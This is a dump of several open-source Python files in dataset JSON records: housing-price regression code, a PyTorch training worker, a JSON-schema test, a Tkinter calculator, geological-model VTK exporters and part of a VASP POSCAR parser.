screen\n size, _ = self.X_train.shape\n print(f\"Total rows used for training: {size}\"\n f\"\\nR2 for training set: {train_r2:.3f}.\"\n f\"\\nMean absolute error: {int(acc)}.\"\n f\"\\nR2 score for test set: {test_r2:.3f}\")\n\n # Save the model for prediction later\n if save:\n self.ml_model = ml_model\n\n def predict(self, df):\n \"\"\"Predict price based on characteristics.\"\"\"\n\n if self.verbose:\n print(\"\\n-----\\nPredicting new data...\")\n\n # Open file and remove asking_price\n self.q = df\n address = self.q.iloc[0][\"address\"]\n\n # Equalize columns with X_train\n add = set(self.X_train.columns).difference(set(self.q.columns))\n remove = set(self.q.columns).difference(set(self.X_train.columns))\n add_cols = dict.fromkeys(add, 0)\n self.q = self.q.drop(columns=remove).assign(**add_cols)\n\n # Scale q\n self.scaler()\n\n # Predict\n value = int(abs(self.ml_model.predict(self.q)))\n print(f\"\\n-----\\nExpected asking price for {address}: \\n\\n€ {value},-\")\n\n return value\n\n\nif __name__ == '__main__':\n \"\"\"Run script if directly loaded.\"\"\"\n\n # Initialize class\n ML_mdl = MachineLearnModel(apartment=True, verbose=True)\n\n # Evaluate different models\n mdls = [\"LR\", \"RI\", \"LA\", \"EN\"\n ]\n for mdl in mdls:\n ML_mdl.evaluate_model(mdl, viz=False, save=False)\n print(\"Finished shaping model.\")\n","repo_name":"therinz/dutch-housing","sub_path":"notebooks/modelling.py","file_name":"modelling.py","file_ext":"py","file_size_in_byte":10325,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"475054641","text":"import os\nimport copy\nimport inspect\nfrom tqdm import tqdm\nimport torch\nimport torch.nn as nn\nimport torch.distributed as dist\nfrom torch.utils.tensorboard import SummaryWriter\n\nfrom utils.progressbar import ProgressBar\n\n\nclass Worker:\n \"\"\"train and rollout.\n \"\"\"\n def __init__(\n self, \n device,\n model: nn.Module,\n epoch = 10,\n folder_path = None,\n optimizer = None, \n scheduler = None,\n if_by_state_dict: bool = True,\n save_step_rate = 0.1,\n ):\n # train and rollout\n self.device = device\n self.model = model\n\n # only for train\n # train kwargs\n self.epoch = epoch\n\n # torch related. model, opt with device.\n self.opt = optimizer\n self.scheduler = scheduler\n\n # early stop\n self.best_loss = None\n self.best_loss_epoch = None\n self.best_model = None\n\n # save model and tensorboard writer\n if folder_path is not None:\n self.log_path = os.path.join(folder_path, \"log/\")\n self.save_model_path = os.path.join(folder_path, \"model/\")\n if not os.path.exists(self.log_path):\n os.mkdir(self.log_path)\n if not os.path.exists(self.save_model_path):\n os.mkdir(self.save_model_path)\n\n self.if_by_state_dict = if_by_state_dict\n self.save_step_rate = save_step_rate\n self.writer = SummaryWriter(self.log_path)\n\n def train(self, train_dataloader, dev_dataloader = None):\n global_step = 0\n save_step = int(self.epoch * len(train_dataloader) * self.save_step_rate)\n # custom progress par\n pbar = ProgressBar(n_total=len(train_dataloader), desc='Training', num_epochs=int(self.epoch))\n for e in range(self.epoch):\n pbar.reset()\n pbar.epoch_start(current_epoch = e)\n step = 0\n # DistributedSampler需要这个来指定shuffle方式，\n # 通过维持各个进程之间的相同随机数种子使不同进程能获得同样的shuffle效果\n if dist.is_initialized():\n train_dataloader.sampler.set_epoch(e)\n \n for step, data in enumerate(train_dataloader):\n # zero grad\n self.opt.zero_grad()\n\n # model forward\n if hasattr(self.model, \"module\"):\n func = self.model.module.forward\n else:\n func = self.model.forward\n model_kwargs = dict(inspect.signature(func).parameters)\n model_input = {}\n for i in model_kwargs:\n tmp_input = data.get(i, None)\n if tmp_input is not None:\n model_input[i] = tmp_input.to(self.device)\n else:\n model_input[i] = None\n output, loss = self.model(**model_input)\n if len(loss) > 1:\n loss = loss.mean()\n\n # step\n # 反向传播计算梯度\n loss.backward()\n # 梯度裁剪\n torch.nn.utils.clip_grad_norm_(self.model.parameters(), 1.0)\n # 参数更新\n self.opt.step()\n # 学习率更新\n if self.scheduler is not None:\n self.scheduler.step()\n\n # save\n if (global_step + 1) % save_step == 0:\n self.save_model(os.path.join(self.save_model_path, f\"{global_step}.pth\"))\n\n # bar progress and tensorboard writer\n pbar(step, {'loss': loss.item()})\n self.writer.add_scalar(\"loss\", loss, global_step)\n global_step += 1\n\n # dev\n if dev_dataloader is not None:\n _, valid_loss = self.rollout(dev_dataloader)\n\n # early stop\n # 早停只用于判断训练到这个epoch时已经不可能是最佳模型了，而不是判断哪个模型最佳的\n # 判断最佳模型的方法是，每隔固定step保存模型，然后训练结束后对所有模型在验证集上计算指标，作图选取\n if self.best_loss is None or valid_loss < self.best_loss:\n self.best_loss = valid_loss\n self.best_loss_epoch = e\n elif e - self.best_loss_epoch > 2:\n break\n\n @torch.no_grad()\n def rollout(self, dataloader):\n outputs = []\n\n # model forward to get outputs\n self.model.eval()\n loss_sum = None\n pbar = ProgressBar(n_total=len(dataloader), desc=\"Rollout\")\n for step, data in enumerate(dataloader):\n pbar.reset()\n\n # model forward\n if hasattr(self.model, \"module\"):\n func = self.model.module.forward\n else:\n func = self.model.forward\n model_kwargs = dict(inspect.signature(func).parameters)\n model_input = {}\n for i in model_kwargs:\n tmp_input = data.get(i, None)\n if tmp_input is not None:\n model_input[i] = tmp_input.to(self.device)\n else:\n model_input[i] = None\n output, loss = self.model(**model_input)\n outputs.append(output.cpu())\n if loss is not None:\n if len(loss) > 1:\n loss = loss.mean()\n if loss_sum is None:\n loss_sum = loss\n else:\n loss_sum += loss\n pbar(step)\n self.model.train()\n \n # return outputs and loss(None is no labels)\n loss_mean = None\n if loss_sum is not None:\n loss_mean = loss_sum / len(dataloader)\n print(f\"valid loss is {loss_mean}\")\n return outputs, loss_mean\n\n def save_model(self, save_path):\n if hasattr(self.model, \"module\"):\n save_model = copy.deepcopy(self.model.module).cpu()\n else:\n save_model = copy.deepcopy(self.model).cpu()\n\n if (not dist.is_initialized()) or (dist.is_initialized() and dist.get_rank() == 0):\n if self.if_by_state_dict:\n torch.save(save_model.state_dict(), save_path)\n else:\n torch.save(save_model, save_path)","repo_name":"wangwenxi-handsome/BERT-NER","sub_path":"worker/worker.py","file_name":"worker.py","file_ext":"py","file_size_in_byte":6463,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"3"} +{"seq_id":"29956346293","text":"import pytest, json\nfrom jsonschema import JsonSchema\n\nclass TestJsonSchema():\n\n\tsc = JsonSchema(\"data/data_1.json\", \"test_schema.json\")\n\n\n\tdef test_datatype(self):\n\n\t\tassert self.sc.datatype(\"tres\") == \"string\"\n\t\tassert self.sc.datatype([\"essd\", \"fgd\", \"gtegehth\"]) == \"enum\"\n\t\tassert self.sc.datatype([{\"ER\": \"tgtr\"}, {\"werdsf\":\"fdht\"}]) == \"array\"\n\n\n\tdef test_list_is_dtype(self):\n\n\t\tassert self.sc.list_is_dtype(str, [\"asd\", \"fdg\", \"ytyjh\"]) == True\n\t\tassert self.sc.list_is_dtype(dict, [{\"s\":\"gfhj\"}, {\"s\":7}]) == True\n\n\n\tdef test_sniff_schema(self):\n\t\tpass\n\n\n\tdef test_traverse_dict(self):\n\t\tassert self.sc.traverse_dict(TEST_DATA)[\"message\"][\"battle\"][\"id\"][\"type\"] == \"string\"\n\t\tassert self.sc.traverse_dict(TEST_DATA)[\"message\"][\"battle\"][\"participants\"][\"type\"] == \"array\"\n\t\tassert self.sc.traverse_dict(TEST_DATA)[\"message\"][\"participantIds\"][\"type\"] == \"enum\"\n\n\n\tdef test_write_json_to_file(self):\n\t\tpass\n\n\nTEST_DATA = {\n \"attributes\": {\n \"appName\": \"ABCDEFG\",\n },\n \"message\": {\n \"battle\": {\n \"id\": \"ABCDEFGHIJKLMNOPQR\",\n \"name\": \"ABCDEFGHIJKLMNOPQRSTUVWX\",\n \"orientation\": \"ABCDEFGHIJKLMNO\",\n \"settings\": {\n \"minParticipants\": 942,\n \"duration\": 200,\n \"archetype\": {\n \"name\": \"ABCDEFGHIJKLMNOPQRS\",\n \"iconId\": \"ABCDEFGHIJKLMNOPQRST\"\n }\n },\n \"status\": \"ABCDEFGHIJKL\",\n \"creator\": {\n \"id\": \"ABCDEFGHIJKLMNOPQRSTUVWXYZA\",\n \"nickname\": \"ABCDEFGHI\"\n },\n \"participants\": [\n {\n \"user\": {\n \"id\": \"ABCDEFGHIJKLMN\",\n \"nickname\": \"ABCDEFGHIJKLMN\",\n \"title\": \"ABCDEFGHIJK\",\n },\n \"creator\": False,\n \"performance\": \"ABCDEFGHIJKLMNOPQRSTUVW\"\n }\n ]\n },\n \"joiner\": {\n \"id\": \"ABCDEFGHIJKLMNOPQRSTUVWXYZAB\",\n \"nickname\": \"ABCDEFGHIJKLMNO\",\n },\n \"participantIds\": [\n \"ABCDEFGHIJKLMNOPQRST\",\n ]\n }\n }","repo_name":"Yusufteppei/json-schema","sub_path":"tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":2007,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"35313664285","text":"from tkinter import *\n\nroot = Tk()\nroot.title('Calculator')\ne = Entry(root)\ne.grid(row=0,column=0,columnspan=3,padx=20,pady=10)\n\neq=[]\n\ndef b_add(number):\n\teq.append(number)\n\tcurrent=e.get()\n\te.delete(0,END)\n\te.insert(0,str(current)+str(number))\n\tprint(eq)\n\t\n\neq=[]\n\ndef b_plus(sign):\n\teq.append(sign)\n\te.delete(0,END)\n\te.insert(0,str(sign))\n\ndef b_clear():\n\teq.clear()\n\te.delete(0,END)\n\ndef b_res():\n\te.delete(0,END)\n\tre=''\n\tprint(eq)\n\tfor char in eq:\n\t\tre=re+str(char)\n\tprint('valeur string: '+ re)\n\tres=eval(re)\n\tprint(res)\n\tprint(res)\n\te.insert(0,res)\n\nmyButton1=Button(root,text='1',padx =20, pady =10,command = lambda : b_add(1))\nmyButton2=Button(root,text='2',padx =20, pady =10,command = lambda : b_add(2))\nmyButton3=Button(root,text='3',padx =20, pady =10,command = lambda : b_add(3))\nmyButton4=Button(root,text='4',padx =20, pady =10,command = lambda : b_add(4))\nmyButton5=Button(root,text='5',padx =20, pady =10,command = lambda : b_add(5))\nmyButton6=Button(root,text='6',padx =20, pady =10,command = lambda : b_add(6))\nmyButton7=Button(root,text='7',padx =20, pady =10,command = lambda : b_add(7))\nmyButton8=Button(root,text='8',padx =20, pady =10,command = lambda : b_add(8))\nmyButton9=Button(root,text='9',padx =20, pady =10,command = lambda : b_add(9))\nmyButton0=Button(root,text='9',padx =20, pady =10,command = lambda : b_add(0))\n\nmyButtonadd=Button(root,text='+',padx =20, pady =10,command = lambda : b_plus('+'))\nmyButtonminus=Button(root,text='-',padx =20, pady =10,command = lambda : b_plus('-'))\nmyButtonclear=Button(root,text='C',padx =20, pady =10,command = b_clear)\nmyButtonequal=Button(root,text='=',padx=20,pady =10,command = b_res)\nmyButtonper=Button(root,text='*',padx=20,pady=10,command = lambda : b_plus('*'))\n\nmyButton1.grid(row=4,column=0)\nmyButton2.grid(row=4,column=1)\nmyButton3.grid(row=4,column=2)\n\nmyButton4.grid(row=3,column=0)\nmyButton5.grid(row=3,column=1)\nmyButton6.grid(row=3,column=2)\n\nmyButton7.grid(row=2,column=0)\nmyButton8.grid(row=2,column=1)\nmyButton9.grid(row=2,column=2)\n\nmyButtonadd.grid(row=1,column=0)\nmyButtonminus.grid(row=1,column=1)\nmyButtonper.grid(row=5,column=0)\nmyButtonclear.grid(row=1,column=2)\nmyButtonequal.grid(row=5,column=0,columnspan=3)\nroot.mainloop()","repo_name":"KronoCode/Calculator","sub_path":"calculator.py","file_name":"calculator.py","file_ext":"py","file_size_in_byte":2223,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"15094596630","text":"\"\"\"\nRoutines to export geological model data to file in a variety of formats\n\"\"\"\nimport logging\nfrom pyevtk.hl import unstructuredGridToVTK, pointsToVTK\nfrom pyevtk.vtk import VtkTriangle\nimport numpy as np\n\nfrom LoopStructural.utils.helper import create_box\nfrom LoopStructural.export.file_formats import FileFormat\n\n \nfrom LoopStructural.utils import getLogger\nlogger = getLogger(__name__)\n\n\ndef write_cubeface(model, file_name, data_label, nsteps, file_format):\n \"\"\"\n Writes out the model as a cuboid with six rectangular surfaces\n\n Parameters\n ----------\n model : GeologicalModel object\n Geological model to export\n file_name : string\n Name of file that model is exported to, including path, but without the file extension\n data_label : string\n A data label to insert into export file\n nsteps : np.array([num-x-steps, num-y-steps, num-z-steps])\n 3d array dimensions\n file_format: export.fileformats.FileFormat object\n Desired format of exported file\n\n Returns\n -------\n True if successful\n\n \"\"\"\n if file_format == FileFormat.VTK:\n return _write_cubeface_evtk(model, file_name, data_label, nsteps)\n\n logger.warning(\"Cannot export to file - format {} not supported yet\".format(str(file_format)))\n return False\n\n\ndef write_vol(model, file_name, data_label, nsteps, file_format):\n \"\"\"\n Writes out the model as a 3d volume grid\n\n Parameters\n ----------\n model : GeologicalModel object\n Geological model to export\n file_name : string\n Name of file that model is exported to, including path, but without the file extension\n data_label : string\n A data label to insert into export file\n nsteps : np.array([num-x-steps, num-y-steps, num-z-steps])\n 3d array dimensions\n file_format: export.fileformats.FileFormat object\n Desired format of exported file\n\n Returns\n -------\n True if successful\n\n \"\"\"\n if file_format == FileFormat.VTK:\n return _write_vol_evtk(model, file_name, data_label, nsteps)\n\n logger.warning(\"Cannot export to file - format {} not supported yet\".format(str(file_format)))\n return False\n\n\ndef _write_cubeface_evtk(model, file_name, data_label, nsteps, real_coords=True):\n \"\"\"\n Writes out the model as a cuboid with six rectangular surfaces\n\n Parameters\n ----------\n model : GeologicalModel object\n Geological model to export\n file_name : string\n Name of file that model is exported to, including path, but without the file extension\n data_label : string\n A data label to insert into export file\n nsteps : np.array([num-x-steps, num-y-steps, num-z-steps])\n 3d array dimensions\n\n Returns\n -------\n True if successful\n\n \"\"\"\n # Evaluate model at points\n points, tri = create_box(model.bounding_box, nsteps)\n val = model.evaluate_model(points, scale=False)\n if real_coords:\n model.rescale(points)\n\n # Define vertices\n x = np.zeros(points.shape[0])\n y = np.zeros(points.shape[0])\n z = np.zeros(points.shape[0])\n for i in range(points.shape[0]):\n x[i], y[i], z[i] = points[i][0], points[i][1], points[i][2]\n\n # Define connectivity or vertices that belongs to each element\n conn = np.zeros(tri.shape[0] * 3)\n for i in range(tri.shape[0]):\n conn[i*3], conn[i*3+1], conn[i*3+2] = tri[i][0], tri[i][1], tri[i][2]\n\n # Define offset of last vertex of each element\n offset = np.zeros(tri.shape[0])\n for i in range(tri.shape[0]):\n offset[i] = (i+1)*3\n\n # Define cell types\n ctype = np.full(tri.shape[0], VtkTriangle.tid)\n\n try:\n unstructuredGridToVTK(file_name, x, y, z, connectivity = conn, offsets = offset, cell_types = ctype, cellData = None, pointData = {data_label: val})\n except Exception as e:\n logger.warning(\"Cannot export cuboid surface to file {}: {}\".format(file_name, str(e)))\n return False\n return True \n\n\ndef _write_vol_evtk(model, file_name, data_label, nsteps, real_coords=True):\n \"\"\"\n Writes out the model as a 3d volume grid\n\n Parameters\n ----------\n model : GeologicalModel object\n Geological model to export\n file_name : string\n Name of file that model is exported to, including path, but without the file extension\n data_label : string\n A data label to insert into export file\n nsteps : np.array([num-x-steps, num-y-steps, num-z-steps])\n 3d array dimensions\n\n Returns\n -------\n True if successful\n\n \"\"\"\n # Define grid spacing\n loop_X = np.linspace(model.bounding_box[0, 0], model.bounding_box[1, 0], nsteps[0])\n loop_Y = np.linspace(model.bounding_box[0, 1], model.bounding_box[1, 1], nsteps[1])\n loop_Z = np.linspace(model.bounding_box[0, 2], model.bounding_box[1, 2], nsteps[2])\n\n # Generate model values in 3d grid\n xx, yy, zz = np.meshgrid(loop_X, loop_Y, loop_Z, indexing='ij')\n xyz = np.array([xx.flatten(), yy.flatten(), zz.flatten()]).T\n vals = model.evaluate_model(xyz, scale=False)\n if real_coords:\n model.rescale(xyz)\n\n # Define vertices\n x = np.zeros(xyz.shape[0])\n y = np.zeros(xyz.shape[0])\n z = np.zeros(xyz.shape[0])\n for i in range(xyz.shape[0]):\n x[i], y[i], z[i] = xyz[i][0], xyz[i][1], xyz[i][2]\n\n # Write to grid\n try:\n pointsToVTK(file_name, x, y, z, data= { data_label: vals})\n except Exception as e:\n logger.warning(\"Cannot export volume to file {}: {}\".format(file_name, str(e)))\n return False\n return True \n\n\n","repo_name":"vpicavet/LoopStructural","sub_path":"LoopStructural/export/exporters.py","file_name":"exporters.py","file_ext":"py","file_size_in_byte":5562,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"3"} +{"seq_id":"8153667714","text":"\"\"\"Handle POSCAR.\"\"\"\n# pylint: disable=C0302, consider-using-f-string\nimport io\nimport sys\nfrom collections import Counter\n\nimport numpy as np\n\nfrom parsevasp import utils\nfrom parsevasp.base import BaseParser\n\n\nclass Poscar(BaseParser):\n \"\"\"Class to handle POSCAR.\"\"\"\n\n ERROR_UNSUPPORTED_TAG = 300\n ERROR_VASPFOUR = 301\n ERROR_NO_VEL_OR_PRED = 302\n ERROR_SITE_NUMBER = 303\n ERROR_TOO_LARGE_SITE_INDEX = 304\n ERROR_INVALID_ENTRY = 305\n ERROR_NO_DIRECT = 306\n ERROR_NEGATIVE_SCALING = 307\n BaseParser.ERROR_MESSAGES.update({\n ERROR_NEGATIVE_SCALING: 'Currently negative scaling values in POSCAR is not supported.',\n ERROR_VASPFOUR: 'VASP 4 POSCAR is not supported. User, please modernize. ',\n ERROR_NO_VEL_OR_PRED: 'A velocity or predictor-corrector coordinate was not detected.',\n ERROR_SITE_NUMBER: \"The supplied 'site_number' is not a number (i.e. the index) \"\n 'starting from 1 for the site position to be modified.',\n ERROR_TOO_LARGE_SITE_INDEX: 'The supplied site_number is larger than the number of sites.',\n ERROR_INVALID_ENTRY: \"Only 'comment', 'unitcell' or 'sites' is allowed as input for entry.\",\n ERROR_NO_DIRECT: 'Coordinate should be direct. Did you hack this?'\n })\n ERROR_MESSAGES = BaseParser.ERROR_MESSAGES\n\n def __init__(\n self,\n poscar_string=None,\n poscar_dict=None,\n file_path=None,\n file_handler=None,\n logger=None,\n prec=None,\n conserve_order=False,\n write_direct=True\n ):\n \"\"\"Initialize a POSCAR object and set content as a dictionary.\n\n Parameters\n ----------\n poscar_string : string\n A string containing POSCAR entries. Must contain line\n breaks if multiline, otherwise the POSCAR will be mangled.\n poscar_dict : dict\n A dictionary containing the POSCAR entries.\n file_path : string\n A string containing the file path to the file that is going to be parsed.\n file_handler : object\n A file like object that acts as a handler for the content to be parsed.\n logger : object\n A logger object if you would like to use an external logger for messages\n ejected inside this parser.\n prec : int, optional\n An integer describing how many decimals the users wants\n when printing files.\n conserve_order : bool\n If True, do keep the ordering of the supplied positions\n and atomic species.\n write_direct : bool (optional)\n If True (the default), all write operations are done using direct coordinates,\n while if False in cartesian coordinates.\n\n \"\"\"\n\n super().__init__(file_path=file_path, file_handler=file_handler, logger=logger)\n\n self._write_direct = write_direct\n self._poscar_dict = poscar_dict\n self._poscar_string = poscar_string\n self._conserve_order = conserve_order\n\n # Check that only one argument is supplied\n # pylint: disable=R0916\n if (self._poscar_string is not None and self._poscar_dict is not None) or (\n self._poscar_string is not None and self._file_path is not None\n ) or (self._poscar_dict is not None and self._file_path is not None and self._file_handler is not None):\n self._logger.error(self.ERROR_MESSAGES[self.ERROR_USE_ONE_ARGUMENT])\n sys.exit(self.ERROR_USE_ONE_ARGUMENT)\n # Check that at least one is suplpied\n if (\n self._poscar_string is None and self._poscar_dict is None and self._file_path is None and\n self._file_handler is None\n ):\n self._logger.error(self.ERROR_MESSAGES[self.ERROR_USE_ONE_ARGUMENT])\n sys.exit(self.ERROR_USE_ONE_ARGUMENT)\n\n # Set precision\n if prec is None:\n self._prec = 12\n else:\n self._prec = prec\n self._width = self._prec + 4\n\n if self._file_path is not None or self._file_handler is not None:\n # Create dictionary from a file\n self._poscar_dict = self._from_file()\n\n if self._poscar_string is not None:\n # Create dictionary from a string\n self._poscar_dict = self._from_string()\n\n if self._poscar_dict is not None:\n # Update site entries to Site objects\n self._from_dict()\n\n # Store entries\n self.entries = self._poscar_dict\n\n # Validate dictionary\n self._validate()\n\n def _from_file(self):\n \"\"\"Create rudimentary dictionary of entries from a\n file.\n\n \"\"\"\n\n poscar = utils.read_from_file(self._file_path, self._file_handler, encoding='utf8')\n poscar_dict = self._from_list(poscar)\n return poscar_dict\n\n def _from_string(self):\n \"\"\"Create rudimentary dictionary of entries from a\n string.\n\n \"\"\"\n\n poscar = self._poscar_string.splitlines(True)\n poscar_dict = self._from_list(poscar)\n return poscar_dict\n\n def _from_dict(self):\n \"\"\"If necessary, generate Site objects for each entry in site and/or\n convert to direct coordinates.\n\n \"\"\"\n\n sites = self._poscar_dict['sites']\n for site in sites:\n if not isinstance(site, Site):\n # Entry is not of a Site type, convert it\n direct = site['direct']\n position = site['position']\n velocities = site['velocities']\n if not direct:\n # Convert to direct\n position = self._to_direct(position, self._poscar_dict['unitcell'])\n if velocities is not None:\n velocities = self._to_direct(velocities, self._poscar_dict['unitcell'])\n direct = True\n site = Site(site['specie'], position, site['selective'], velocities, site['predictors'], direct)\n else:\n if not site.get_direct():\n # Cartesian, so convert.\n position = site.get_position()\n velocities = site.get_velocities()\n position = self._to_direct(position, self._poscar_dict['unitcell'])\n site.set_position(position)\n if velocities is not None:\n velocities = self._to_direct(velocities, self._poscar_dict['unitcell'])\n site.set_velocities(velocities)\n site.set_direct(True)\n\n def _from_list(self, poscar): # pylint: disable=R0915\n \"\"\"\n Go through the list and analyze for = and ; in order to\n disentangle grouped entries etc.\n\n Parameters\n ----------\n poscar : list\n A list of strings containing each line in the POSCAR file.\n\n Returns\n -------\n poscar_dict : dictionary\n A dictionary containing each POSCAR tag as a key with the\n associated element.\n\n Notes\n -----\n No checking for consistency is done here. We do this at a later step\n in order to be able to keep the input methods as clean as posible.\n\n \"\"\"\n\n comment = poscar[0].replace('#', '').strip()\n vasp5 = True\n # Check for VASP 5 POSCAR\n if utils.is_numbers(poscar[5]):\n vasp5 = False\n # Set direct, test is done later\n direct = True\n # Set selective, test is done later\n selective = False\n # Check scaling factor\n scaling = float(poscar[1].split()[0])\n if scaling < 0.0:\n self._logger.error(self.ERROR_MESSAGES[self.ERROR_NEGATIVE_SCALING])\n sys.exit(self.ERROR_NEGATIVE_SCALING)\n unitcell = [[0.0 for y in range(3)] for x in range(3)]\n nions = 0\n spec = None\n loopmax = 8\n if vasp5:\n # Could go straight to numpy with fromstring, consider\n # to change in the future\n unitcell[0] = [float(x) for x in poscar[2].split()]\n unitcell[1] = [float(x) for x in poscar[3].split()]\n unitcell[2] = [float(x) for x in poscar[4].split()]\n unitcell = np.asarray(unitcell)\n # Apply scaling factor\n unitcell = scaling * unitcell\n spec = poscar[5].split()\n atoms = [int(x) for x in poscar[6].split()]\n for num_ions in atoms:\n nions = nions + num_ions\n if poscar[7][0].lower() == 's':\n selective = True\n loopmax = 9\n if not poscar[8][0].lower() == 'd':\n direct = False\n if not selective:\n if not poscar[7][0].lower() == 'd':\n direct = False\n else:\n self._logger.error(self.ERROR_MESSAGES[self.ERROR_VASPFOUR])\n sys.exit(self.ERROR_VASPFOUR)\n\n # Create site objects\n specie_slot = 0\n index = 1\n sites_temp = []\n velocities = False\n predictor = False\n # Loop positions\n for i in range(nions):\n # Fetch specie\n if index > atoms[specie_slot]:\n specie_slot = specie_slot + 1\n index = 1\n specie = spec[specie_slot]\n # Fetch positions\n line = poscar[i + loopmax].split()\n position = np.zeros(3)\n if direct:\n # When we have direct coordinates, the\n # positions should not be scaled by the\n # scaling factor\n scaling = 1.0\n position[0] = float(line[0]) * scaling\n position[1] = float(line[1]) * scaling\n position[2] = float(line[2]) * scaling\n if not direct:\n # Convert to direct\n position = self._to_direct(position, unitcell)\n # Fetch selective flags\n flags = [True, True, True]\n if selective:\n if 'f' in line[3].lower():\n flags[0] = False\n if 'f' in line[4].lower():\n flags[1] = False\n if 'f' in line[5].lower():\n flags[2] = False\n # Create a site object and add to sites list\n index = index + 1\n velo = None\n pred = None\n sites_temp.append([specie, position, flags, velo, pred])\n # Now check if there is more in the POSCAR\n loopmax_pos = nions + loopmax\n if len(poscar) > loopmax_pos:\n first_char = poscar[loopmax_pos][0].lower()\n if first_char in ('d', 'c'):\n velocities = True\n if first_char == 'c':\n # Make sure we convert velocities to direct\n direct = False\n elif poscar[loopmax_pos].replace(' ', '') == '\\n':\n predictor = True\n # Now check that the next line is in fact a coordinate\n loopmax_pos = loopmax_pos + 1\n # Allow for blank lines at the end of the positions\n if len(poscar) > loopmax_pos:\n if not utils.is_number(poscar[loopmax_pos].split()[0]):\n self._logger.error(self.ERROR_MESSAGES[self.ERROR_NO_VEL_OR_PRED])\n sys.exit(self.ERROR_NO_VEL_OR_PRED)\n else:\n # But make sure the predictor is set back to False\n # if we only have a blank line and nothing else following\n # the coordinates\n predictor = False\n if velocities:\n for i in range(nions):\n # Fetch velocities\n line = poscar[i + loopmax_pos].split()\n vel = np.zeros(3)\n vel[0] = float(line[0])\n vel[1] = float(line[1])\n vel[2] = float(line[2])\n if not direct:\n # Convert to direct\n vel = self._to_direct(vel, unitcell)\n sites_temp[i][3] = vel\n # Now check if there is predictor-corrector coordinates following\n # the velocities\n loopmax_pos = nions + loopmax_pos\n if len(poscar) > loopmax_pos:\n if poscar[loopmax_pos].replace(' ', '') == '\\n':\n loopmax_pos = loopmax_pos + 1\n if utils.is_number(poscar[loopmax_pos].split()[0]):\n for i in range(nions):\n line = poscar[i + loopmax_pos].split()\n pre = np.zeros(3)\n pre[0] = float(line[0])\n pre[1] = float(line[1])\n pre[2] = float(line[2])\n sites_temp[i][4] = pre\n # Do one final loop to create the objects and read\n # predictors if they exist\n sites = []\n loopmax_pos = nions + loopmax + 1\n for i in range(nions):\n pre = np.zeros(3)\n if predictor and not velocities:\n line = poscar[i + loopmax_pos].split()\n pre[0] = float(line[0])\n pre[1] = float(line[1])\n pre[2] = float(line[2])\n sites_temp[i][4] = pre\n site = Site(\n sites_temp[i][0],\n sites_temp[i][1],\n selective=sites_temp[i][2],\n velocities=sites_temp[i][3],\n predictors=sites_temp[i][4]\n )\n sites.append(site)\n\n # Build dictionary and convert to NumPy\n poscar_dict = {}\n poscar_dict['comment'] = comment\n poscar_dict['unitcell'] = np.asarray(unitcell)\n poscar_dict['sites'] = sites\n return poscar_dict\n\n def modify(self, entry, value, site_number=None):\n \"\"\"\n Modify an entry tag in the Poscar dictionary.\n If it is not found add it.\n\n Parameters\n ----------\n entry : string\n The entry tag of the POSCAR entry.\n value\n The entry value of the POSCAR entry.\n Can be either a string for the comment,\n an ndarray for the unitcell or a Site object\n for a position.\n site_number : int, optional\n The site to be modified. If not supplied\n the value have to be a list of Site objects.\n\n \"\"\"\n\n # Check allowed entries\n self._check_allowed_entries(entry)\n # Check that entries exists\n self._check_dict()\n if site_number is not None:\n # Check that a Site() object is supplied\n self._check_site(value)\n # Check site number\n self._check_site_number(site_number)\n # Check that position is an integer\n if not utils.is_number(site_number):\n self._logger.error(self.ERROR_MESSAGES[self.ERROR_SITE_NUMBER])\n sys.exit(self.ERROR_SITE_NUMBER)\n self.entries['sites'][site_number] = value\n else:\n if entry == 'sites':\n self._check_sites(sites=value)\n if entry == 'comment':\n self._check_comment(comment=value)\n if entry == 'unitcell':\n self._check_unitcell(unitcell=value)\n\n self.entries[entry] = value\n\n def delete_site(self, site_number):\n \"\"\"\n Delete the site with the supplied\n number.\n\n Parameters\n ----------\n site_number : int\n The site number to be deleted, starting\n from 0.\n\n \"\"\"\n\n self._check_sites()\n self._check_site_number(site_number)\n del self.entries['sites'][site_number]\n\n def add_site(self, site_number):\n \"\"\"\n Add a site with the supplied\n number. If not supplied, add at the end\n of the last element of the specie group\n\n Parameters\n ----------\n site_number : int\n The site number to be deleted, starting\n from 0.\n\n \"\"\"\n\n raise NotImplementedError\n\n def _check_dict(self):\n \"\"\"Check that entries is present.\n\n \"\"\"\n\n try:\n _ = self.entries\n except AttributeError:\n self._logger.error(self.ERROR_MESSAGES[self.ERROR_NO_ENTRIES])\n sys.exit(self.ERROR_NO_ENTRIES)\n\n def _check_allowed_entries(self, entry):\n \"\"\"\n Check the allowed values of entry.\n\n Parameters\n ----------\n entry : string\n Contains the entry to be checked.\n\n \"\"\"\n\n if not (('comment' in entry) or ('unitcell' in entry) or ('sites' in entry)):\n self._logger.error(self.ERROR_MESSAGES[self.ERROR_INVALID_ENTRY])\n sys.exit(self.ERROR_INVALID_ENTRY)\n\n def _check_unitcell(self, unitcell=None):\n \"\"\"\n Check that the unitcell entries are present and\n are of a 3x3 ndarray type.\n\n Parameters\n ----------\n unitcell, optional\n The unitcell to be checked. If not supplied the\n 'unitcell' key in the 'entries' is checked.\n\n \"\"\"\n\n if unitcell is None:\n try:\n unitcell = self.entries['unitcell']\n except KeyError:\n self._logger.error(self.ERROR_MESSAGES[f\"{self.ERROR_NO_KEY} The key in question is 'unitcell'.\"])\n sys.exit(self.ERROR_NO_KEY)\n\n if (not isinstance(unitcell, np.ndarray)) \\\n or (unitcell.shape != (3, 3)):\n self._logger.error(\n f\"{self.ERROR_MESSAGES[self.ERROR_KEY_INVALID_TYPE]} The value of 'unitcell' is not an 3x3 ndarray.\"\n )\n sys.exit(self.ERROR_KEY_INVALID_TYPE)\n\n def _check_comment(self, comment=None):\n \"\"\"\n Check that the comment entry is present and\n is a string.\n\n Parameters\n ----------\n comment, optional\n The comment to be checked. If not supplied the\n 'comment' key in the 'entries' is checked.\n\n \"\"\"\n if comment is None:\n try:\n comment = self.entries['comment']\n except KeyError:\n self._logger.error(self.ERROR_MESSAGES[f\"{self.ERROR_NO_KEY} The key in question is 'comment'.\"])\n 